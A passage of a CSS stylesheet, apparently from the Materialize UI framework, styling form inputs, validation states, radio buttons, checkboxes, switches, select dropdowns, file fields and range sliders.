input[type=datetime-local]:not(.browser-default):focus.invalid~label,
input[type=tel]:not(.browser-default):focus.invalid~label,
input[type=number]:not(.browser-default):focus.invalid~label,
input[type=search]:not(.browser-default):focus.invalid~label,
textarea.materialize-textarea:focus.invalid~label {
    color: #F44336
}

input:not([type]).validate+label,
input[type=text]:not(.browser-default).validate+label,
input[type=password]:not(.browser-default).validate+label,
input[type=email]:not(.browser-default).validate+label,
input[type=url]:not(.browser-default).validate+label,
input[type=time]:not(.browser-default).validate+label,
input[type=date]:not(.browser-default).validate+label,
input[type=datetime]:not(.browser-default).validate+label,
input[type=datetime-local]:not(.browser-default).validate+label,
input[type=tel]:not(.browser-default).validate+label,
input[type=number]:not(.browser-default).validate+label,
input[type=search]:not(.browser-default).validate+label,
textarea.materialize-textarea.validate+label {
    width: 100%
}

input.valid:not([type]),
input.valid:not([type]):focus,
input.valid[type=text]:not(.browser-default),
input.valid[type=text]:not(.browser-default):focus,
input.valid[type=password]:not(.browser-default),
input.valid[type=password]:not(.browser-default):focus,
input.valid[type=email]:not(.browser-default),
input.valid[type=email]:not(.browser-default):focus,
input.valid[type=url]:not(.browser-default),
input.valid[type=url]:not(.browser-default):focus,
input.valid[type=time]:not(.browser-default),
input.valid[type=time]:not(.browser-default):focus,
input.valid[type=date]:not(.browser-default),
input.valid[type=date]:not(.browser-default):focus,
input.valid[type=datetime]:not(.browser-default),
input.valid[type=datetime]:not(.browser-default):focus,
input.valid[type=datetime-local]:not(.browser-default),
input.valid[type=datetime-local]:not(.browser-default):focus,
input.valid[type=tel]:not(.browser-default),
input.valid[type=tel]:not(.browser-default):focus,
input.valid[type=number]:not(.browser-default),
input.valid[type=number]:not(.browser-default):focus,
input.valid[type=search]:not(.browser-default),
input.valid[type=search]:not(.browser-default):focus,
textarea.materialize-textarea.valid,
textarea.materialize-textarea.valid:focus,
.select-wrapper.valid>input.select-dropdown {
    border-bottom: 1px solid #4CAF50;
    box-shadow: 0 1px 0 0 #4CAF50
}

input.invalid:not([type]),
input.invalid:not([type]):focus,
input.invalid[type=text]:not(.browser-default),
input.invalid[type=text]:not(.browser-default):focus,
input.invalid[type=password]:not(.browser-default),
input.invalid[type=password]:not(.browser-default):focus,
input.invalid[type=email]:not(.browser-default),
input.invalid[type=email]:not(.browser-default):focus,
input.invalid[type=url]:not(.browser-default),
input.invalid[type=url]:not(.browser-default):focus,
input.invalid[type=time]:not(.browser-default),
input.invalid[type=time]:not(.browser-default):focus,
input.invalid[type=date]:not(.browser-default),
input.invalid[type=date]:not(.browser-default):focus,
input.invalid[type=datetime]:not(.browser-default),
input.invalid[type=datetime]:not(.browser-default):focus,
input.invalid[type=datetime-local]:not(.browser-default),
input.invalid[type=datetime-local]:not(.browser-default):focus,
input.invalid[type=tel]:not(.browser-default),
input.invalid[type=tel]:not(.browser-default):focus,
input.invalid[type=number]:not(.browser-default),
input.invalid[type=number]:not(.browser-default):focus,
input.invalid[type=search]:not(.browser-default),
input.invalid[type=search]:not(.browser-default):focus,
textarea.materialize-textarea.invalid,
textarea.materialize-textarea.invalid:focus,
.select-wrapper.invalid>input.select-dropdown,
.select-wrapper.invalid>input.select-dropdown:focus {
    border-bottom: 1px solid #F44336;
    box-shadow: 0 1px 0 0 #F44336
}

input:not([type]).valid~.helper-text[data-success],
input:not([type]):focus.valid~.helper-text[data-success],
input:not([type]).invalid~.helper-text[data-error],
input:not([type]):focus.invalid~.helper-text[data-error],
input[type=text]:not(.browser-default).valid~.helper-text[data-success],
input[type=text]:not(.browser-default):focus.valid~.helper-text[data-success],
input[type=text]:not(.browser-default).invalid~.helper-text[data-error],
input[type=text]:not(.browser-default):focus.invalid~.helper-text[data-error],
input[type=password]:not(.browser-default).valid~.helper-text[data-success],
input[type=password]:not(.browser-default):focus.valid~.helper-text[data-success],
input[type=password]:not(.browser-default).invalid~.helper-text[data-error],
input[type=password]:not(.browser-default):focus.invalid~.helper-text[data-error],
input[type=email]:not(.browser-default).valid~.helper-text[data-success],
input[type=email]:not(.browser-default):focus.valid~.helper-text[data-success],
input[type=email]:not(.browser-default).invalid~.helper-text[data-error],
input[type=email]:not(.browser-default):focus.invalid~.helper-text[data-error],
input[type=url]:not(.browser-default).valid~.helper-text[data-success],
input[type=url]:not(.browser-default):focus.valid~.helper-text[data-success],
input[type=url]:not(.browser-default).invalid~.helper-text[data-error],
input[type=url]:not(.browser-default):focus.invalid~.helper-text[data-error],
input[type=time]:not(.browser-default).valid~.helper-text[data-success],
input[type=time]:not(.browser-default):focus.valid~.helper-text[data-success],
input[type=time]:not(.browser-default).invalid~.helper-text[data-error],
input[type=time]:not(.browser-default):focus.invalid~.helper-text[data-error],
input[type=date]:not(.browser-default).valid~.helper-text[data-success],
input[type=date]:not(.browser-default):focus.valid~.helper-text[data-success],
input[type=date]:not(.browser-default).invalid~.helper-text[data-error],
input[type=date]:not(.browser-default):focus.invalid~.helper-text[data-error],
input[type=datetime]:not(.browser-default).valid~.helper-text[data-success],
input[type=datetime]:not(.browser-default):focus.valid~.helper-text[data-success],
input[type=datetime]:not(.browser-default).invalid~.helper-text[data-error],
input[type=datetime]:not(.browser-default):focus.invalid~.helper-text[data-error],
input[type=datetime-local]:not(.browser-default).valid~.helper-text[data-success],
input[type=datetime-local]:not(.browser-default):focus.valid~.helper-text[data-success],
input[type=datetime-local]:not(.browser-default).invalid~.helper-text[data-error],
input[type=datetime-local]:not(.browser-default):focus.invalid~.helper-text[data-error],
input[type=tel]:not(.browser-default).valid~.helper-text[data-success],
input[type=tel]:not(.browser-default):focus.valid~.helper-text[data-success],
input[type=tel]:not(.browser-default).invalid~.helper-text[data-error],
input[type=tel]:not(.browser-default):focus.invalid~.helper-text[data-error],
input[type=number]:not(.browser-default).valid~.helper-text[data-success],
input[type=number]:not(.browser-default):focus.valid~.helper-text[data-success],
input[type=number]:not(.browser-default).invalid~.helper-text[data-error],
input[type=number]:not(.browser-default):focus.invalid~.helper-text[data-error],
input[type=search]:not(.browser-default).valid~.helper-text[data-success],
input[type=search]:not(.browser-default):focus.valid~.helper-text[data-success],
input[type=search]:not(.browser-default).invalid~.helper-text[data-error],
input[type=search]:not(.browser-default):focus.invalid~.helper-text[data-error],
textarea.materialize-textarea.valid~.helper-text[data-success],
textarea.materialize-textarea:focus.valid~.helper-text[data-success],
textarea.materialize-textarea.invalid~.helper-text[data-error],
textarea.materialize-textarea:focus.invalid~.helper-text[data-error],
.select-wrapper.valid .helper-text[data-success],
.select-wrapper.invalid~.helper-text[data-error] {
    color: transparent;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none;
    pointer-events: none
}

input:not([type]).valid~.helper-text:after,
input:not([type]):focus.valid~.helper-text:after,
input[type=text]:not(.browser-default).valid~.helper-text:after,
input[type=text]:not(.browser-default):focus.valid~.helper-text:after,
input[type=password]:not(.browser-default).valid~.helper-text:after,
input[type=password]:not(.browser-default):focus.valid~.helper-text:after,
input[type=email]:not(.browser-default).valid~.helper-text:after,
input[type=email]:not(.browser-default):focus.valid~.helper-text:after,
input[type=url]:not(.browser-default).valid~.helper-text:after,
input[type=url]:not(.browser-default):focus.valid~.helper-text:after,
input[type=time]:not(.browser-default).valid~.helper-text:after,
input[type=time]:not(.browser-default):focus.valid~.helper-text:after,
input[type=date]:not(.browser-default).valid~.helper-text:after,
input[type=date]:not(.browser-default):focus.valid~.helper-text:after,
input[type=datetime]:not(.browser-default).valid~.helper-text:after,
input[type=datetime]:not(.browser-default):focus.valid~.helper-text:after,
input[type=datetime-local]:not(.browser-default).valid~.helper-text:after,
input[type=datetime-local]:not(.browser-default):focus.valid~.helper-text:after,
input[type=tel]:not(.browser-default).valid~.helper-text:after,
input[type=tel]:not(.browser-default):focus.valid~.helper-text:after,
input[type=number]:not(.browser-default).valid~.helper-text:after,
input[type=number]:not(.browser-default):focus.valid~.helper-text:after,
input[type=search]:not(.browser-default).valid~.helper-text:after,
input[type=search]:not(.browser-default):focus.valid~.helper-text:after,
textarea.materialize-textarea.valid~.helper-text:after,
textarea.materialize-textarea:focus.valid~.helper-text:after,
.select-wrapper.valid~.helper-text:after {
    content: attr(data-success);
    color: #4CAF50
}

input:not([type]).invalid~.helper-text:after,
input:not([type]):focus.invalid~.helper-text:after,
input[type=text]:not(.browser-default).invalid~.helper-text:after,
input[type=text]:not(.browser-default):focus.invalid~.helper-text:after,
input[type=password]:not(.browser-default).invalid~.helper-text:after,
input[type=password]:not(.browser-default):focus.invalid~.helper-text:after,
input[type=email]:not(.browser-default).invalid~.helper-text:after,
input[type=email]:not(.browser-default):focus.invalid~.helper-text:after,
input[type=url]:not(.browser-default).invalid~.helper-text:after,
input[type=url]:not(.browser-default):focus.invalid~.helper-text:after,
input[type=time]:not(.browser-default).invalid~.helper-text:after,
input[type=time]:not(.browser-default):focus.invalid~.helper-text:after,
input[type=date]:not(.browser-default).invalid~.helper-text:after,
input[type=date]:not(.browser-default):focus.invalid~.helper-text:after,
input[type=datetime]:not(.browser-default).invalid~.helper-text:after,
input[type=datetime]:not(.browser-default):focus.invalid~.helper-text:after,
input[type=datetime-local]:not(.browser-default).invalid~.helper-text:after,
input[type=datetime-local]:not(.browser-default):focus.invalid~.helper-text:after,
input[type=tel]:not(.browser-default).invalid~.helper-text:after,
input[type=tel]:not(.browser-default):focus.invalid~.helper-text:after,
input[type=number]:not(.browser-default).invalid~.helper-text:after,
input[type=number]:not(.browser-default):focus.invalid~.helper-text:after,
input[type=search]:not(.browser-default).invalid~.helper-text:after,
input[type=search]:not(.browser-default):focus.invalid~.helper-text:after,
textarea.materialize-textarea.invalid~.helper-text:after,
textarea.materialize-textarea:focus.invalid~.helper-text:after,
.select-wrapper.invalid~.helper-text:after {
    content: attr(data-error);
    color: #F44336
}

input:not([type])+label:after,
input[type=text]:not(.browser-default)+label:after,
input[type=password]:not(.browser-default)+label:after,
input[type=email]:not(.browser-default)+label:after,
input[type=url]:not(.browser-default)+label:after,
input[type=time]:not(.browser-default)+label:after,
input[type=date]:not(.browser-default)+label:after,
input[type=datetime]:not(.browser-default)+label:after,
input[type=datetime-local]:not(.browser-default)+label:after,
input[type=tel]:not(.browser-default)+label:after,
input[type=number]:not(.browser-default)+label:after,
input[type=search]:not(.browser-default)+label:after,
textarea.materialize-textarea+label:after,
.select-wrapper+label:after {
    display: block;
    content: "";
    position: absolute;
    top: 100%;
    left: 0;
    opacity: 0;
    transition: .2s opacity ease-out, .2s color ease-out
}

.input-field {
    position: relative;
    margin-top: 1rem;
    margin-bottom: 1rem
}

.input-field.inline {
    display: inline-block;
    vertical-align: middle;
    margin-left: 5px
}

.input-field.inline input,
.input-field.inline .select-dropdown {
    margin-bottom: 1rem
}

.input-field.col label {
    left: .75rem
}

.input-field.col .prefix~label,
.input-field.col .prefix~.validate~label {
    width: calc(100% - 3rem - 1.5rem)
}

.input-field>label {
    color: #9e9e9e;
    position: absolute;
    top: 0;
    left: 0;
    font-size: 1rem;
    cursor: text;
    transition: color .2s ease-out, -webkit-transform .2s ease-out;
    transition: transform .2s ease-out, color .2s ease-out;
    transition: transform .2s ease-out, color .2s ease-out, -webkit-transform .2s ease-out;
    -webkit-transform-origin: 0 100%;
    transform-origin: 0 100%;
    text-align: initial;
    -webkit-transform: translateY(12px);
    transform: translateY(12px)
}

.input-field>label:not(.label-icon).active {
    -webkit-transform: translateY(-14px) scale(0.8);
    transform: translateY(-14px) scale(0.8);
    -webkit-transform-origin: 0 0;
    transform-origin: 0 0
}

.input-field>input[type]:-webkit-autofill:not(.browser-default):not([type="search"])+label,
.input-field>input[type=date]:not(.browser-default)+label,
.input-field>input[type=time]:not(.browser-default)+label {
    -webkit-transform: translateY(-14px) scale(0.8);
    transform: translateY(-14px) scale(0.8);
    -webkit-transform-origin: 0 0;
    transform-origin: 0 0
}

.input-field .helper-text {
    position: relative;
    min-height: 18px;
    display: block;
    font-size: 12px;
    color: rgba(0, 0, 0, 0.54)
}

.input-field .helper-text::after {
    opacity: 1;
    position: absolute;
    top: 0;
    left: 0
}

.input-field .prefix {
    position: absolute;
    width: 3rem;
    font-size: 2rem;
    transition: color .2s;
    top: .5rem
}

.input-field .prefix.active {
    color: #26a69a
}

.input-field .prefix~input,
.input-field .prefix~textarea,
.input-field .prefix~label,
.input-field .prefix~.validate~label,
.input-field .prefix~.helper-text,
.input-field .prefix~.autocomplete-content {
    margin-left: 3rem;
    width: 92%;
    width: calc(100% - 3rem)
}

.input-field .prefix~label {
    margin-left: 3rem
}

@media only screen and (max-width: 992px) {
    .input-field .prefix~input {
        width: 86%;
        width: calc(100% - 3rem)
    }
}

@media only screen and (max-width: 600px) {
    .input-field .prefix~input {
        width: 80%;
        width: calc(100% - 3rem)
    }
}

.input-field input[type=search] {
    display: block;
    line-height: inherit;
    transition: .3s background-color
}

.nav-wrapper .input-field input[type=search] {
    height: inherit;
    padding-left: 4rem;
    width: calc(100% - 4rem);
    border: 0;
    box-shadow: none
}

.input-field input[type=search]:focus:not(.browser-default) {
    background-color: #fff;
    border: 0;
    box-shadow: none;
    color: #444
}

.input-field input[type=search]:focus:not(.browser-default)+label i,
.input-field input[type=search]:focus:not(.browser-default)~.mdi-navigation-close,
.input-field input[type=search]:focus:not(.browser-default)~.material-icons {
    color: #444
}

.input-field input[type=search]+.label-icon {
    -webkit-transform: none;
    transform: none;
    left: 1rem
}

.input-field input[type=search]~.mdi-navigation-close,
.input-field input[type=search]~.material-icons {
    position: absolute;
    top: 0;
    right: 1rem;
    color: transparent;
    cursor: pointer;
    font-size: 2rem;
    transition: .3s color
}

textarea {
    width: 100%;
    height: 3rem;
    background-color: transparent
}

textarea.materialize-textarea {
    line-height: normal;
    overflow-y: hidden;
    padding: .8rem 0;
    resize: none;
    min-height: 3rem;
    -webkit-box-sizing: border-box;
    box-sizing: border-box
}

.hiddendiv {
    visibility: hidden;
    white-space: pre-wrap;
    word-wrap: break-word;
    overflow-wrap: break-word;
    padding-top: 1.2rem;
    position: absolute;
    top: 0;
    z-index: -1
}

.autocomplete-content li .highlight {
    color: #444
}

.autocomplete-content li img {
    height: 40px;
    width: 40px;
    margin: 5px 15px
}

.character-counter {
    min-height: 18px
}

[type="radio"]:not(:checked),
[type="radio"]:checked {
    position: absolute;
    opacity: 0;
    pointer-events: none
}

[type="radio"]:not(:checked)+span,
[type="radio"]:checked+span {
    position: relative;
    padding-left: 35px;
    cursor: pointer;
    display: inline-block;
    height: 25px;
    line-height: 25px;
    font-size: 1rem;
    transition: .28s ease;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none
}

[type="radio"]+span:before,
[type="radio"]+span:after {
    content: '';
    position: absolute;
    left: 0;
    top: 0;
    margin: 4px;
    width: 16px;
    height: 16px;
    z-index: 0;
    transition: .28s ease
}

[type="radio"]:not(:checked)+span:before,
[type="radio"]:not(:checked)+span:after,
[type="radio"]:checked+span:before,
[type="radio"]:checked+span:after,
[type="radio"].with-gap:checked+span:before,
[type="radio"].with-gap:checked+span:after {
    border-radius: 50%
}

[type="radio"]:not(:checked)+span:before,
[type="radio"]:not(:checked)+span:after {
    border: 2px solid #5a5a5a
}

[type="radio"]:not(:checked)+span:after {
    -webkit-transform: scale(0);
    transform: scale(0)
}

[type="radio"]:checked+span:before {
    border: 2px solid transparent
}

[type="radio"]:checked+span:after,
[type="radio"].with-gap:checked+span:before,
[type="radio"].with-gap:checked+span:after {
    border: 2px solid #26a69a
}

[type="radio"]:checked+span:after,
[type="radio"].with-gap:checked+span:after {
    background-color: #26a69a
}

[type="radio"]:checked+span:after {
    -webkit-transform: scale(1.02);
    transform: scale(1.02)
}

[type="radio"].with-gap:checked+span:after {
    -webkit-transform: scale(0.5);
    transform: scale(0.5)
}

[type="radio"].tabbed:focus+span:before {
    box-shadow: 0 0 0 10px rgba(0, 0, 0, 0.1)
}

[type="radio"].with-gap:disabled:checked+span:before {
    border: 2px solid rgba(0, 0, 0, 0.42)
}

[type="radio"].with-gap:disabled:checked+span:after {
    border: none;
    background-color: rgba(0, 0, 0, 0.42)
}

[type="radio"]:disabled:not(:checked)+span:before,
[type="radio"]:disabled:checked+span:before {
    background-color: transparent;
    border-color: rgba(0, 0, 0, 0.42)
}

[type="radio"]:disabled+span {
    color: rgba(0, 0, 0, 0.42)
}

[type="radio"]:disabled:not(:checked)+span:before {
    border-color: rgba(0, 0, 0, 0.42)
}

[type="radio"]:disabled:checked+span:after {
    background-color: rgba(0, 0, 0, 0.42);
    border-color: #949494
}

[type="checkbox"]:not(:checked),
[type="checkbox"]:checked {
    position: absolute;
    opacity: 0;
    pointer-events: none
}

[type="checkbox"]+span:not(.lever) {
    position: relative;
    padding-left: 35px;
    cursor: pointer;
    display: inline-block;
    height: 25px;
    line-height: 25px;
    font-size: 1rem;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none
}

[type="checkbox"]+span:not(.lever):before,
[type="checkbox"]:not(.filled-in)+span:not(.lever):after {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    width: 18px;
    height: 18px;
    z-index: 0;
    border: 2px solid #5a5a5a;
    border-radius: 1px;
    margin-top: 3px;
    transition: .2s
}

[type="checkbox"]:not(.filled-in)+span:not(.lever):after {
    border: 0;
    -webkit-transform: scale(0);
    transform: scale(0)
}

[type="checkbox"]:not(:checked):disabled+span:not(.lever):before {
    border: none;
    background-color: rgba(0, 0, 0, 0.42)
}

[type="checkbox"].tabbed:focus+span:not(.lever):after {
    -webkit-transform: scale(1);
    transform: scale(1);
    border: 0;
    border-radius: 50%;
    box-shadow: 0 0 0 10px rgba(0, 0, 0, 0.1);
    background-color: rgba(0, 0, 0, 0.1)
}

[type="checkbox"]:checked+span:not(.lever):before {
    top: -4px;
    left: -5px;
    width: 12px;
    height: 22px;
    border-top: 2px solid transparent;
    border-left: 2px solid transparent;
    border-right: 2px solid #26a69a;
    border-bottom: 2px solid #26a69a;
    -webkit-transform: rotate(40deg);
    transform: rotate(40deg);
    -webkit-backface-visibility: hidden;
    backface-visibility: hidden;
    -webkit-transform-origin: 100% 100%;
    transform-origin: 100% 100%
}

[type="checkbox"]:checked:disabled+span:before {
    border-right: 2px solid rgba(0, 0, 0, 0.42);
    border-bottom: 2px solid rgba(0, 0, 0, 0.42)
}

[type="checkbox"]:indeterminate+span:not(.lever):before {
    top: -11px;
    left: -12px;
    width: 10px;
    height: 22px;
    border-top: none;
    border-left: none;
    border-right: 2px solid #26a69a;
    border-bottom: none;
    -webkit-transform: rotate(90deg);
    transform: rotate(90deg);
    -webkit-backface-visibility: hidden;
    backface-visibility: hidden;
    -webkit-transform-origin: 100% 100%;
    transform-origin: 100% 100%
}

[type="checkbox"]:indeterminate:disabled+span:not(.lever):before {
    border-right: 2px solid rgba(0, 0, 0, 0.42);
    background-color: transparent
}

[type="checkbox"].filled-in+span:not(.lever):after {
    border-radius: 2px
}

[type="checkbox"].filled-in+span:not(.lever):before,
[type="checkbox"].filled-in+span:not(.lever):after {
    content: '';
    left: 0;
    position: absolute;
    transition: border .25s, background-color .25s, width .2s .1s, height .2s .1s, top .2s .1s, left .2s .1s;
    z-index: 1
}

[type="checkbox"].filled-in:not(:checked)+span:not(.lever):before {
    width: 0;
    height: 0;
    border: 3px solid transparent;
    left: 6px;
    top: 10px;
    -webkit-transform: rotateZ(37deg);
    transform: rotateZ(37deg);
    -webkit-transform-origin: 100% 100%;
    transform-origin: 100% 100%
}

[type="checkbox"].filled-in:not(:checked)+span:not(.lever):after {
    height: 20px;
    width: 20px;
    background-color: transparent;
    border: 2px solid #5a5a5a;
    top: 0;
    z-index: 0
}

[type="checkbox"].filled-in:checked+span:not(.lever):before {
    top: 0;
    left: 1px;
    width: 8px;
    height: 13px;
    border-top: 2px solid transparent;
    border-left: 2px solid transparent;
    border-right: 2px solid #fff;
    border-bottom: 2px solid #fff;
    -webkit-transform: rotateZ(37deg);
    transform: rotateZ(37deg);
    -webkit-transform-origin: 100% 100%;
    transform-origin: 100% 100%
}

[type="checkbox"].filled-in:checked+span:not(.lever):after {
    top: 0;
    width: 20px;
    height: 20px;
    border: 2px solid #26a69a;
    background-color: #26a69a;
    z-index: 0
}

[type="checkbox"].filled-in.tabbed:focus+span:not(.lever):after {
    border-radius: 2px;
    border-color: #5a5a5a;
    background-color: rgba(0, 0, 0, 0.1)
}

[type="checkbox"].filled-in.tabbed:checked:focus+span:not(.lever):after {
    border-radius: 2px;
    background-color: #26a69a;
    border-color: #26a69a
}

[type="checkbox"].filled-in:disabled:not(:checked)+span:not(.lever):before {
    background-color: transparent;
    border: 2px solid transparent
}

[type="checkbox"].filled-in:disabled:not(:checked)+span:not(.lever):after {
    border-color: transparent;
    background-color: #949494
}

[type="checkbox"].filled-in:disabled:checked+span:not(.lever):before {
    background-color: transparent
}

[type="checkbox"].filled-in:disabled:checked+span:not(.lever):after {
    background-color: #949494;
    border-color: #949494
}

.switch,
.switch * {
    -webkit-tap-highlight-color: transparent;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none
}

.switch label {
    cursor: pointer
}

.switch label input[type=checkbox] {
    opacity: 0;
    width: 0;
    height: 0
}

.switch label input[type=checkbox]:checked+.lever {
    background-color: #84c7c1
}

.switch label input[type=checkbox]:checked+.lever:before,
.switch label input[type=checkbox]:checked+.lever:after {
    left: 18px
}

.switch label input[type=checkbox]:checked+.lever:after {
    background-color: #26a69a
}

.switch label .lever {
    content: "";
    display: inline-block;
    position: relative;
    width: 36px;
    height: 14px;
    background-color: rgba(0, 0, 0, 0.38);
    border-radius: 15px;
    transition: background .3s ease;
    vertical-align: middle;
    margin: 0 16px
}

.switch label .lever:before,
.switch label .lever:after {
    content: "";
    position: absolute;
    display: inline-block;
    width: 20px;
    height: 20px;
    border-radius: 50%;
    left: 0;
    top: -3px;
    transition: left .3s ease, background .3s ease, -webkit-box-shadow .1s ease, -webkit-transform .1s ease;
    transition: left .3s ease, background .3s ease, box-shadow .1s ease, transform .1s ease;
    transition: left .3s ease, background .3s ease, box-shadow .1s ease, transform .1s ease, -webkit-box-shadow .1s ease, -webkit-transform .1s ease
}

.switch label .lever:before {
    background-color: rgba(38, 166, 154, 0.15)
}

.switch label .lever:after {
    background-color: #F1F1F1;
    box-shadow: 0 3px 1px -2px rgba(0, 0, 0, 0.2), 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 1px 5px 0 rgba(0, 0, 0, 0.12)
}

input[type=checkbox]:checked:not(:disabled)~.lever:active::before,
input[type=checkbox]:checked:not(:disabled).tabbed:focus~.lever::before {
    -webkit-transform: scale(2.4);
    transform: scale(2.4);
    background-color: rgba(38, 166, 154, 0.15)
}

input[type=checkbox]:not(:disabled)~.lever:active:before,
input[type=checkbox]:not(:disabled).tabbed:focus~.lever::before {
    -webkit-transform: scale(2.4);
    transform: scale(2.4);
    background-color: rgba(0, 0, 0, 0.08)
}

.switch input[type=checkbox][disabled]+.lever {
    cursor: default;
    background-color: rgba(0, 0, 0, 0.12)
}

.switch label input[type=checkbox][disabled]+.lever:after,
.switch label input[type=checkbox][disabled]:checked+.lever:after {
    background-color: #949494
}

select {
    display: none
}

select.browser-default {
    display: block
}

select {
    background-color: rgba(255, 255, 255, 0.9);
    width: 100%;
    padding: 5px;
    border: 1px solid #f2f2f2;
    border-radius: 2px;
    height: 3rem
}

.select-label {
    position: absolute
}

.select-wrapper {
    position: relative
}

.select-wrapper.valid+label,
.select-wrapper.invalid+label {
    width: 100%;
    pointer-events: none
}

.select-wrapper input.select-dropdown {
    position: relative;
    cursor: pointer;
    background-color: transparent;
    border: none;
    border-bottom: 1px solid #9e9e9e;
    outline: none;
    height: 3rem;
    line-height: 3rem;
    width: 100%;
    font-size: 16px;
    margin: 0 0 8px;
    padding: 0;
    display: block;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none;
    z-index: 1
}

.select-wrapper input.select-dropdown:focus {
    border-bottom: 1px solid #26a69a
}

.select-wrapper .caret {
    position: absolute;
    right: 0;
    top: 0;
    bottom: 0;
    margin: auto 0;
    z-index: 0;
    fill: rgba(0, 0, 0, 0.87)
}

.select-wrapper+label {
    position: absolute;
    top: -26px;
    font-size: .8rem
}

select:disabled {
    color: rgba(0, 0, 0, 0.42)
}

.select-wrapper.disabled+label {
    color: rgba(0, 0, 0, 0.42)
}

.select-wrapper.disabled .caret {
    fill: rgba(0, 0, 0, 0.42)
}

.select-wrapper input.select-dropdown:disabled {
    color: rgba(0, 0, 0, 0.42);
    cursor: default;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none
}

.select-wrapper i {
    color: rgba(0, 0, 0, 0.3)
}

.select-dropdown li.disabled,
.select-dropdown li.disabled>span,
.select-dropdown li.optgroup {
    color: rgba(0, 0, 0, 0.3);
    background-color: transparent
}

body.keyboard-focused .select-dropdown.dropdown-content li:focus {
    background-color: rgba(0, 0, 0, 0.08)
}

.select-dropdown.dropdown-content li:hover {
    background-color: rgba(0, 0, 0, 0.08)
}

.select-dropdown.dropdown-content li.selected {
    background-color: rgba(0, 0, 0, 0.03)
}

.prefix~.select-wrapper {
    margin-left: 3rem;
    width: 92%;
    width: calc(100% - 3rem)
}

.prefix~label {
    margin-left: 3rem
}

.select-dropdown li img {
    height: 40px;
    width: 40px;
    margin: 5px 15px;
    float: right
}

.select-dropdown li.optgroup {
    border-top: 1px solid #eee
}

.select-dropdown li.optgroup.selected>span {
    color: rgba(0, 0, 0, 0.7)
}

.select-dropdown li.optgroup>span {
    color: rgba(0, 0, 0, 0.4)
}

.select-dropdown li.optgroup~li.optgroup-option {
    padding-left: 1rem
}

.file-field {
    position: relative
}

.file-field .file-path-wrapper {
    overflow: hidden;
    padding-left: 10px
}

.file-field input.file-path {
    width: 100%
}

.file-field .btn,
.file-field .btn-large,
.file-field .btn-small {
    float: left;
    height: 3rem;
    line-height: 3rem
}

.file-field span {
    cursor: pointer
}

.file-field input[type=file] {
    position: absolute;
    top: 0;
    right: 0;
    left: 0;
    bottom: 0;
    width: 100%;
    margin: 0;
    padding: 0;
    font-size: 20px;
    cursor: pointer;
    opacity: 0;
    filter: alpha(opacity=0)
}

.file-field input[type=file]::-webkit-file-upload-button {
    display: none
}

.range-field {
    position: relative
}

input[type=range],
input[type=range]+.thumb {
    cursor: pointer
}

input[type=range] {
    position: relative;
    background-color: transparent;
    border: none;
    outline: none;
    width: 100%;
    margin: 15px 0;
    padding: 0
}

input[type=range]:focus {
    outline: none
}

input[type=range]+.thumb {
    position: absolute;
    top: 10px;
    left: 0;
    border: none;
    height: 0;
    width: 0;
    border-radius: 50%;
    background-color: #26a69a;
    margin-left: 7px;
    -webkit-transform-origin: 50% 50%;
    transform-origin: 50% 50%;
    -webkit-transform: rotate(-45deg);
    transform: rotate(-45deg)
}

input[type=range]+.thumb .value {
    display: block;
    width: 30px;
    text-align: center;
    color: #26a69a;
    font-size: 0;
    -webkit-transform: rotate(45deg);
    transform: rotate(45deg)
}

input[type=range]+.thumb.active {
    border-radius: 50% 50% 50% 0
}

input[type=range]+.thumb.active .value {
    color: #fff;
    margin-left: -1px;
    margin-top: 8px;
    font-size: 10px
}

input[type=range] {
    -webkit-appearance: none
}

input[type=range]::-webkit-slider-runnable-track {
    height: 3px;
    background: #c2c0c2;
    border: none
}

input[type=range]::-webkit-slider-thumb {
    border: none;
    height: 14px;
    width: 14px;
    border-radius: 50%;
    background: #26a69a;
    transition: box-shadow .3s;
    transition: box-shadow .3s, -webkit-box-shadow .3s;
    -webkit-appearance: none;
    background-color: #26a69a;
    -webkit-transform-origin: 50% 50%;
    transform-origin: 50% 50%;
    margin: -5px 0 0
}

.keyboard-focused input[type=range]:focus:not(.active)::-webkit-slider-thumb {
    box-shadow: 0 0 0 10px rgba(38, 166, 154, 0.26)
}

input[type=range] {
    border: 1px solid #fff
}

input[type=range]::-moz-range-track {
    height: 3px;
    background: #c2c0c2;
    border: none
}

input[type=range]::-moz-focus-inner {
    border: 0
}

input[type=range]::-moz-range-thumb {
    border: none;
    height: 14px;
    width: 14px;
    border-radius: 50%;
    background: #26a69a;
    transition: -webkit-box-shadow .3s;
    transition: box-shadow .3s;
    transition: box-shadow .3s, -webkit-box-shadow .3s;
    margin-top: -5px
}

input[type=range]:-moz-focusring {
    outline: 1px solid #fff;
    outline-offset: -1px
}

.keyboard-focused input[type=range]:focus:not(.active)::-moz-range-thumb {
    box-shadow: 0 0 0 10px rgba(38, 166, 154, 0.26)
}

input[type=range]::-ms-track {
    height: 3px;
    background: transparent;
    border-color: transparent;
    border-width: 6px 0;
    color: transparent
}

input[type=range]::-ms-fill-lower {
    background: #777
}

input[type=range]::-ms-fill-upper {
    background: #ddd
}

input[type=range]::-ms-thumb {
    border: none;
    height: 14px;
    width: 14px;
    border-radius: 50%;
    background: #26a69a;
    transition: -webkit-box-shadow .3s;
    transition: box-shadow .3s;
    transition: box-shadow .3s, -webkit-box-shadow .3s
}

.keyboard-focused input[type=range]:focus:not(.active)::-ms-thumb {
    box-shadow: 0 0 0 10px rgba(38, 166, 154, 0.26)
}

.table-of-contents.fixed {
    position: fixed
}

.table-of-contents li {
    padding: 2px 0
}

.table-of-contents a {
    display: inline-block;
    font-weight: 300;
    color: #757575;
    padding-left: 16px;
    height: 1.5rem;
    line-height: 1.5rem;
    letter-spacing: .4px;
    display: inline-block
}

.table-of-contents a:hover {
    color: #a8a8a8;
    padding-left: 15px;
    border-left: 1px solid #ee6e73
}

.table-of-contents a.active {
    font-weight: 500;
    padding-left: 14px;
    border-left: 2px solid #ee6e73
}

.sidenav {
    position: fixed;
    width: 300px;
    left: 0;
    top: 0;
    margin: 0;
    -webkit-transform: translateX(-100%);
